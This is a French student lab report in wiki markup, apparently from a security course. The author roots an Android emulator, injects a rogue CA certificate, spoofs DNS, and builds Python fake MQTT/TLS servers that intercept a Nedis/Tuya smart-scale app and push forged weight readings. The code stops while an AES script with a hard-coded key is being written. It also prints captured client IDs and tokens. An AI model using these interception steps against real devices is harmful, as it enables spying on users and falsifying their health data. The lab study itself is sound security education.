C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps j'ai donc routé mon téléphone avec l'utilitaire Magisik en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque demarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouter dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment ou elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon pc (celui qui host ma VM android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO redaction&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
On tente donc d'envoyer en clair le poid vers l'application nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;✅ TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;📡 Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;🚀 Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;ℹ️ Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;❌ Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs dans le /data/data/com.nedis.smartlife une clé local qui permettrai de chiffrer le message pour que nedis l'accepte. Cette clé je l'ai trouvé lors d'une seance. Pour autant, je ne la retrouve pas dans les fichiers en question ... Je ne peux donc pas savoir si elle change et être sur d'avoir la bonne ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# 🔑 LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
